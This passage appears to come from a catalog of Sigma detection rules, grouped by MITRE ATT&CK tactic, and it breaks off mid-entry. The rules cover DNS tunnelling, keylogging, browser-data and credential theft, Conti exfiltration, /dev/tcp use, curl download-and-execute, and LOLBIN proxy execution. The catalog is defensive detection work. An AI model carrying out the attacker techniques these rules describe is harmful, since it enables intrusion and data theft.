AWS EC2 Download Userdata	medium	Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.
Possible DNS Tunneling	high	Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.
High DNS Bytes Out	medium	High DNS queries bytes amount from host per short period of time
High NULL Records Requests Rate	medium	Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution
High DNS Requests Rate	medium	High DNS requests amount from host per short period of time
High DNS subdomain requests rate per domain	high	High rate of unique Fully Qualified Domain Names (FQDN) requests per root domain (eTLD+1) in short period of time
High TXT Records Requests Rate	medium	Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution
Large domain name request	high	Detects large DNS domain names
High DNS Bytes Out - Firewall	medium	High DNS queries bytes amount from host per short period of time
High DNS Requests Rate - Firewall	medium	High DNS requests amount from host per short period of time
Tap Driver Installation	medium	Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques
Potential Exfiltration of Compressed Files	medium	This rule detects potential exfiltration by looking for a few compression extensions in the uri and signs of compression in the mime type, file type, and http body

attack.collection

Show Rules (88)

Title	Level	Description
iOS Implant URL Pattern	critical	Detects URL pattern used by iOS Implant
OpenCanary - GIT Clone Request	high	Detects instances where a GIT service on an OpenCanary node has had Git Clone request.
OpenCanary - MSSQL Login Attempt Via SQLAuth	high	Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.
OpenCanary - MSSQL Login Attempt Via Windows Authentication	high	Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.
OpenCanary - MySQL Login Attempt	high	Detects instances where a MySQL service on an OpenCanary node has had a login attempt.
OpenCanary - REDIS Action Command Attempt	high	Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.
OpenCanary - SIP Request	high	Detects instances where an SIP service on an OpenCanary node has had a SIP request.
OpenCanary - SMB File Open Request	high	Detects instances where an SMB service on an OpenCanary node has had a file open request.
AWS EC2 VM Export Failure	low	An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.
Bitbucket Full Data Export Triggered	high	Detects when full data export is attempted.
Bitbucket Unauthorized Full Data Export Triggered	critical	Detects when full data export is attempted an unauthorized user.
Bitbucket User Details Export Attempt Detected	medium	Detects user data export activity.
Google Full Network Traffic Packet Capture	medium	Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.
Github Delete Action Invoked	medium	Detects delete action in the Github audit logs for codespaces, environment, project and repo.
Github Outside Collaborator Detected	medium	Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.
Github Self Hosted Runner Changes Detected	low	A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.
PST Export Alert Using eDiscovery Alert	medium	Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content
PST Export Alert Using New-ComplianceSearchAction	medium	Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365.This rule will apply to ExchangePowerShell usage and from the cloud.
Audio Capture	low	Detects attempts to record audio with arecord utility
Linux Capabilities Discovery	low	Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.
Clipboard Collection with Xclip Tool - Auditd	low	Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.
Clipboard Collection of Image Data with Xclip Tool	low	Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.
Screen Capture with Import Tool	low	Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations. ImageMagick must be installed.
Screen Capture with Xwd	low	Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations
Clipboard Collection with Xclip Tool	low	Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.
Clipboard Data Collection Via OSAScript	high	Detects possible collection of data from the clipboard via execution of the osascript binary
Screen Capture - macOS	low	Detects attempts to use screencapture to collect macOS screenshots
Cisco Collect Data	low	Collect pertinent data from the configuration files
Cisco Stage Data	low	Various protocols maybe used to put data on the device for exfil or infil
Cisco BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing
Cisco LDP Authentication Failures	low	Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels
Huawei BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing.
Juniper BGP Missing MD5	low	Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.
Suspicious Access to Sensitive File Extensions - Zeek	medium	Detects known sensitive file extensions via Zeek
Processes Accessing the Microphone and Webcam	medium	Potential adversaries accessing the microphone and webcam in an endpoint.
Suspicious Access to Sensitive File Extensions	medium	Detects known sensitive file extensions accessed on a network share
DNS Query Request To OneLaunch Update Service	low	Detects DNS query requests to "update.onelaunch.com". This domain is associated with the OneLaunch adware application. When the OneLaunch application is installed it will attempt to get updates from this domain.
WinDivert Driver Load	high	Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows
CredUI.DLL Loaded By Uncommon Process	medium	Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of "CredUIPromptForCredentials" or "CredUnPackAuthenticationBufferW".
ADFS Database Named Pipe Connection By Uncommon Tool	medium	Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database). Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.
Zip A Folder With PowerShell For Staging In Temp - PowerShell	medium	Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
PowerShell Get Clipboard	medium	A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.
Zip A Folder With PowerShell For Staging In Temp - PowerShell Module	medium	Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
Automated Collection Command PowerShell	medium	Once established within a system or network, an adversary may use automated techniques for collecting internal data.
Windows Screen Capture with CopyFromScreen	medium	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations
Powershell Keylogging	medium	Adversaries may log user keystrokes to intercept credentials as the user types them.
Potential Keylogger Activity	medium	Detects PowerShell scripts that contains reference to keystroke capturing functions
Powershell Local Email Collection	medium	Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a users local system, such as Outlook storage or cache files.
Recon Information for Export with PowerShell	medium	Once established within a system or network, an adversary may use automated techniques for collecting internal data
Zip A Folder With PowerShell For Staging In Temp - PowerShell Script	medium	Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
Compress Data and Lock With Password for Exfiltration With 7-ZIP	medium	An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities
7Zip Compressing Dump Files	medium	Detects execution of 7z in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.
Data Copied To Clipboard Via Clip.EXE	low	Detects the execution of clip.exe in order to copy data to the clipboard. Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Esentutl Steals Browser Information	medium	One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe
Suspicious Manipulation Of Default Accounts Via Net.EXE	high	Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc
Audio Capture via PowerShell	medium	Detects audio capture via PowerShell Cmdlet.
PowerShell Get-Clipboard Cmdlet Via CLI	medium	Detects usage of the 'Get-Clipboard' cmdlet via CLI
Exchange PowerShell Snap-Ins Usage	high	Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27
Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet	medium	Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
Screen Capture Activity Via Psr.EXE	medium	Detects execution of Windows Problem Steps Recorder (psr.exe), a utility used to record the user screen and clicks.
PUA - Mouse Lock Execution	medium	In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool "Mouse Lock" as being used for both credential access and collection in security incidents.
Rar Usage with Password and Compression Level	high	Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.
Files Added To An Archive Using Rar.EXE	low	Detects usage of "rar" to add files to an archive for potential compression. An adversary may compress data (e.g. sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
Windows Recall Feature Enabled Via Reg.EXE	medium	Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" value, or setting it to 0. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.
Renamed Remote Utilities RAT (RURAT) Execution	medium	Detects execution of renamed Remote Utilities (RURAT) via Product PE header field
Audio Capture via SoundRecorder	medium	Detect attacker collecting audio via SoundRecorder application.
Veeam Backup Database Suspicious Query	medium	Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information.
VeeamBackup Database Credentials Dump Via Sqlcmd.EXE	high	Detects dump of credentials in VeeamBackup dbo
SQLite Chromium Profile Data DB Access	high	Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing.
SQLite Firefox Profile Data DB Access	high	Detect usage of the "sqlite" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.
Automated Collection Command Prompt	medium	Once established within a system or network, an adversary may use automated techniques for collecting internal data.
Copy From Or To Admin Share Or Sysvol Folder	medium	Detects a copy command or a copy utility execution to or from an Admin share or remote
Recon Information for Export with Command Prompt	medium	Once established within a system or network, an adversary may use automated techniques for collecting internal data.
Compressed File Creation Via Tar.EXE	low	Detects execution of "tar.exe" in order to create a compressed file. Adversaries may abuse various utilities to compress or encrypt data before exfiltration.
Compressed File Extraction Via Tar.EXE	low	Detects execution of "tar.exe" in order to extract compressed file. Adversaries may abuse various utilities in order to decompress data to avoid detection.
Winrar Compressing Dump Files	medium	Detects execution of WinRAR in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.
Winrar Execution in Non-Standard Folder	medium	Detects a suspicious winrar execution in a folder which is not the default installation folder
Compress Data and Lock With Password for Exfiltration With WINZIP	medium	An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities
Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted	medium	Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.
Suspicious Camera and Microphone Access	high	Detects Processes accessing the camera and microphone from suspicious folder
Periodic Backup For System Registry Hives Enabled	medium	Detects the enabling of the "EnablePeriodicBackup" registry value. Once enabled, The OS will backup System registry hives on restarts to the "C:\Windows\System32\config\RegBack" folder. Windows creates a "RegIdleBackup" task to manage subsequent backups. Registry backup was a default behavior on Windows and was disabled as of "Windows 10, version 1803".
Windows Recall Feature Enabled - Registry	medium	Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by setting the value of "DisableAIDataAnalysis" to "0". Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.
Conti NTDS Exfiltration Command	high	Detects a command used by conti to exfiltrate NTDS
Potential Conti Ransomware Database Dumping Activity Via SQLCmd	high	Detects a command used by conti to dump database
Clipboard Data Collection Via Pbpaste	medium	Detects execution of the "pbpaste" utility, which retrieves the contents of the clipboard (a.k.a. pasteboard) and writes them to the standard output (stdout). The utility is often used for creating new files with the clipboard content or for piping clipboard contents to other commands. It can also be used in shell scripts that may require clipboard content as input. Attackers can abuse this utility in order to collect data from the user clipboard, which may contain passwords or sensitive information. Use this rule to hunt for potential abuse of the utility by looking at the parent process and any potentially suspicious command line content.
System Drawing DLL Load	low	Detects processes loading "System.Drawing.ni.dll". This could be an indicator of potential Screen Capture.
Password Protected Compressed File Extraction Via 7Zip	low	Detects usage of 7zip utilities (7z.exe, 7za.exe and 7zr.exe) to extract password protected zip files.
Potentially Suspicious Compression Tool Parameters	medium	Detects potentially suspicious command line arguments of common data compression tools

attack.resource_development

Show Rules (34)

Title	Level	Description
Antivirus Relevant File Paths Alerts	high	Detects an Antivirus alert in a highly relevant file path or with a relevant file name. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
Bitbucket Unauthorized Access To A Resource	critical	Detects unauthorized access attempts to a resource.
Bitbucket Unauthorized Full Data Export Triggered	critical	Detects when full data export is attempted an unauthorized user.
Okta Suspicious Activity Reported by End-user	high	Detects when an Okta end-user reports activity by their account as being potentially suspicious.
Program Executions in Suspicious Folders	medium	Detects program executions in suspicious non-program folders related to malware or hacking activity
Relevant ClamAV Message	high	Detects relevant ClamAV messages
Linux HackTool Execution	high	Detects known hacktool execution based on image name.
Relevant Anti-Virus Signature Keywords In Application Log	high	Detects potentially highly relevant antivirus events in the application log based on known virus signature names and malware keywords.
ProxyLogon MSExchange OabVirtualDirectory	critical	Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory
Windows Update Error	informational	Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KBs aren't installed.
Uncommon File Created In Office Startup Folder	high	Detects the creation of a file with an uncommon extension in an Office application startup folder
Creation of a Diagcab	medium	Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)
VHD Image Download Via Browser	medium	Detects creation of ".vhd"/".vhdx" files by browser processes. Malware can use mountable Virtual Hard Disk ".vhd" files to encapsulate payloads and evade security controls.
HackTool - PurpleSharp Execution	critical	Detects the execution of the PurpleSharp adversary simulation tool
PUA - CsExec Execution	high	Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative
Renamed SysInternals DebugView Execution	high	Detects suspicious renamed SysInternals DebugView execution
Potential Execution of Sysinternals Tools	low	Detects command lines that contain the 'accepteula' flag which could be a sign of execution of one of the Sysinternals tools
PsExec/PAExec Escalation to LOCAL SYSTEM	high	Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights
Potential PsExec Remote Execution	high	Detects potential psexec command that initiate execution on a remote systems via common commandline flags used by the utility
Potential Privilege Escalation To LOCAL SYSTEM	high	Detects unknown program using commandline flags usually used by tools such as PsExec and PAExec to start programs with SYSTEM Privileges
PUA - Sysinternal Tool Execution - Registry	low	Detects the execution of a Sysinternals Tool via the creation of the "accepteula" registry key
Suspicious Execution Of Renamed Sysinternals Tools - Registry	high	Detects the creation of the "accepteula" key related to the Sysinternals tools being created from executables with the wrong name (e.g. a renamed Sysinternals tool)
PUA - Sysinternals Tools Execution - Registry	medium	Detects the execution of some potentially unwanted tools such as PsExec, Procdump, etc. (part of the Sysinternals suite) via the creation of the "accepteula" registry key.
HybridConnectionManager Service Installation - Registry	high	Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.
Usage of Renamed Sysinternals Tools - RegistrySet	high	Detects non-sysinternals tools setting the "accepteula" key which normally is set on sysinternals tool execution
Suspicious Keyboard Layout Load	medium	Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only
Formbook Process Creation	high	Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.
Mustang Panda Dropper	high	Detects specific process parameters as used by Mustang Panda droppers
CVE-2021-1675 Print Spooler Exploitation Filename Pattern	critical	Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675
Suspicious Word Cab File Write CVE-2021-40444	high	Detects file creation patterns noticeable during the exploitation of CVE-2021-40444
Conti Volume Shadow Listing	high	Detects a command used by conti to find volume shadow backups
FoggyWeb Backdoor DLL Loading	critical	Detects DLL hijacking technique used by NOBELIUM in their FoggyWeb backdoor. Which loads a malicious version of the expected "version.dll" dll
Creation of an Executable by an Executable	low	Detects the creation of an executable by another executable.
Potential AWS Cloud Email Service Abuse	medium	Detects when the email sending feature is enabled for an AWS account and the email address verification request is dispatched in quick succession

attack.reconnaissance

Show Rules (20)

Title	Level	Description
Azure AD Account Credential Leaked	high	Indicates that the user's valid credentials have been leaked.
Bitbucket User Details Export Attempt Detected	medium	Detects user data export activity.
Bitbucket User Permissions Export Attempt	medium	Detects user permission data export attempt.
Suspicious Use of /dev/tcp	medium	Detects suspicious command with /dev/tcp
SSHD Error Message CVE-2018-15473	medium	Detects exploitation attempt using public exploit code for CVE-2018-15473
Cat Sudoers	medium	Detects the execution of a cat /etc/sudoers to list all users that have sudo rights
Suspicious Git Clone - Linux	medium	Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious
Print History File Contents	medium	Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance
Linux Recon Indicators	high	Detects events with patterns found in commands used for reconnaissance on linux systems
DNS Query to External Service Interaction Domains	high	Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE
Failed DNS Zone Transfer	medium	Detects when a DNS zone transfer failed.
Suspicious DNS Query for IP Lookup Service APIs	medium	Detects DNS queries for IP lookup services such as "api.ipify.org" originating from a non browser process.
Potential Active Directory Enumeration Using AD Module - PsModule	medium	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.
AADInternals PowerShell Cmdlets Execution - PsScript	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Potential Active Directory Enumeration Using AD Module - PsScript	medium	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.
Suspicious Git Clone	medium	Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious
AADInternals PowerShell Cmdlets Execution - ProccessCreation	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Potential Active Directory Enumeration Using AD Module - ProcCreation	medium	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.
PUA - PingCastle Execution	medium	Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level.
PUA - PingCastle Execution From Potentially Suspicious Parent	high	Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level via a script located in a potentially suspicious or uncommon location.

Top MITRE Techniques

Technique	Count	Rule Title
attack.t1218	150	Show Rules (150) Suspicious CLR Logs Creation - Level: high Description: Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly. SyncAppvPublishingServer Execution to Bypass Powershell Restriction - Level: medium Description: Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions. SyncAppvPublishingServer Execution to Bypass Powershell Restriction - Level: medium Description: Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions. Monitoring Wuauclt.exe For Lolbas Execution Of DLL - Level: medium Description: Adversaries can abuse wuauclt.exe (Windows Update client) to run code execution by specifying an arbitrary DLL. Abusing Findstr for Defense Evasion - Level: medium Description: Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism MavInject Process Injection - Level: high Description: Detects process injection using the signed Windows tool Mavinject32.exe Possible Applocker Bypass - Level: low Description: Detects execution of executables that can be used to bypass Applocker whitelisting Squirrel Lolbin - Level: medium Description: Detects Possible Squirrel Packages Manager as Lolbin Windows Update Client LOLBIN - Level: high Description: Detects code execution via the Windows Update client (wuauclt) Suspicious Esentutl Use - Level: high Description: Detects flags often used with the LOLBAS Esentutl for malicious activity. It could be used in rare cases by administrators to access locked files or during maintenance. Hidden Flag Set On File/Directory Via Chflags - MacOS - Level: medium Description: Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS. When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers. MSI Installation From Web - Level: medium Description: Detects installation of a remote msi file from web. Suspicious DotNET CLR Usage Log Artifact - Level: high Description: Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context. Self Extraction Directive File Created In Potentially Suspicious Location - Level: medium Description: Detects the creation of Self Extraction Directive files (.sed) in a potentially suspicious location. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries. Created Files by Microsoft Sync Center - Level: medium Description: This rule detects suspicious files created by Microsoft Sync Center (mobsync) Legitimate Application Dropped Archive - Level: high Description: Detects programs on a Windows system that should not write an archive to disk Legitimate Application Dropped Executable - Level: high Description: Detects programs on a Windows system that should not write executables to disk Legitimate Application Dropped Script - Level: high Description: Detects programs on a Windows system that should not write scripts to disk Potentially Suspicious Self Extraction Directive File Created - Level: medium Description: Detects the creation of a binary file with the ".sed" extension. The ".sed" extension stand for Self Extraction Directive files. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries. Usually ".sed" files are simple ini files and not PE binaries. Time Travel Debugging Utility Usage - Image - Level: high Description: Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe. Potential DLL Sideloading Using Coregen.exe - Level: medium Description: Detect usage of the "coregen.exe" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs. Network Connection Initiated By AddinUtil.EXE - Level: high Description: Detects a network connection initiated by the Add-In deployment cache updating utility "AddInutil.exe". This could indicate a potential command and control communication as this tool doesn't usually initiate network activity. Microsoft Sync Center Suspicious Network Connections - Level: medium Description: Detects suspicious connections from Microsoft Sync Center to non-private IPs. Potentially Suspicious Wuauclt Network Connection - Level: medium Description: Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making network connections. One could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule. Potential RemoteFXvGPUDisablement.EXE Abuse - Level: high Description: Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking. Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module - Level: high Description: Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking. SyncAppvPublishingServer Bypass Powershell Restriction - PS Module - Level: medium Description: Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions. Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock - Level: high Description: Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking. SyncAppvPublishingServer Execution to Bypass Powershell Restriction - Level: medium Description: Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions. Suspicious AddinUtil.EXE CommandLine Execution - Level: high Description: Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with suspicious Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload. Uncommon Child Process Of AddinUtil.EXE - Level: medium Description: Detects uncommon child processes of the Add-In deployment cache updating utility (AddInutil.exe) which could be a sign of potential abuse of the binary to proxy execution via a custom Addins.Store payload. Uncommon AddinUtil.EXE CommandLine Execution - Level: medium Description: Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with uncommon Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload. AddinUtil.EXE Execution From Uncommon Directory - Level: medium Description: Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) from a non-standard directory. AgentExecutor PowerShell Execution - Level: medium Description: Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument Suspicious AgentExecutor PowerShell Execution - Level: high Description: Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument Uncommon Child Process Of Appvlp.EXE - Level: medium Description: Detects uncommon child processes of Appvlp.EXE Appvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse "AppVLP" to execute shell commands. Normally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder or to mark a file as a system file. Uncommon Assistive Technology Applications Execution Via AtBroker.EXE - Level: medium Description: Detects the start of a non built-in assistive technology applications via "Atbroker.EXE". Suspicious Child Process Of BgInfo.EXE - Level: high Description: Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript BitLockerTogo.EXE Execution - Level: low Description: Detects the execution of "BitLockerToGo.EXE". BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system. This is a rarely used application and usage of it at all is worth investigating. Malware such as Lumma stealer has been seen using this process as a target for process hollowing. Uncommon Child Process Of BgInfo.EXE - Level: medium Description: Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript Potential Binary Proxy Execution Via Cdb.EXE - Level: medium Description: Detects usage of "cdb.exe" to launch arbitrary processes or commands from a debugger script file DLL Loaded via CertOC.EXE - Level: medium Description: Detects when a user installs certificates by using CertOC.exe to loads the target DLL file. Suspicious DLL Loaded via CertOC.EXE - Level: high Description: Detects when a user installs certificates by using CertOC.exe to load the target DLL file. Potential NTLM Coercion Via Certutil.EXE - Level: high Description: Detects possible NTLM coercion via certutil using the 'syncwithWU' flag Potential Arbitrary File Download Via Cmdl32.EXE - Level: medium Description: Detects execution of Cmdl32 with the "/vpn" and "/lan" flags. Attackers can abuse this utility in order to download arbitrary files via a configuration file. Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious. Curl Download And Execute Combination - Level: high Description: Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later. Potentially Suspicious CMD Shell Output Redirect - Level: medium Description: Detects inline Windows shell commands redirecting output via the ">" symbol to a suspicious location. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration. Suspicious Csi.exe Usage - Level: medium Description: Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe' Uncommon Child Process Of Defaultpack.EXE - Level: medium Description: Detects uncommon child processes of "DefaultPack.EXE" binary as a proxy to launch other programs Arbitrary MSI Download Via Devinit.EXE - Level: medium Description: Detects a certain command line flag combination used by "devinit.exe", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system Potentially Suspicious Child Process Of DiskShadow.EXE - Level: medium Description: Detects potentially suspicious child processes of "Diskshadow.exe". This could be an attempt to bypass parent/child relationship detection or application whitelisting rules. Diskshadow Script Mode - Uncommon Script Extension Execution - Level: medium Description: Detects execution of "Diskshadow.exe" in script mode to execute an script with a potentially uncommon extension. Initial baselining of the allowed extension list is required. Diskshadow Script Mode - Execution From Potential Suspicious Location - Level: medium Description: Detects execution of "Diskshadow.exe" in script mode using the "/s" flag where the script is located in a potentially suspicious location. Potential Application Whitelisting Bypass via Dnx.EXE - Level: medium Description: Detects the execution of Dnx.EXE. The Dnx utility allows for the execution of C# code. Attackers might abuse this in order to bypass application whitelisting. Process Memory Dump Via Dotnet-Dump - Level: medium Description: Detects the execution of "dotnet-dump" with the "collect" flag. The execution could indicate potential process dumping of critical processes such as LSASS. Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE - Level: medium Description: Detects execution of arbitrary DLLs or unsigned code via a ".csproj" files via 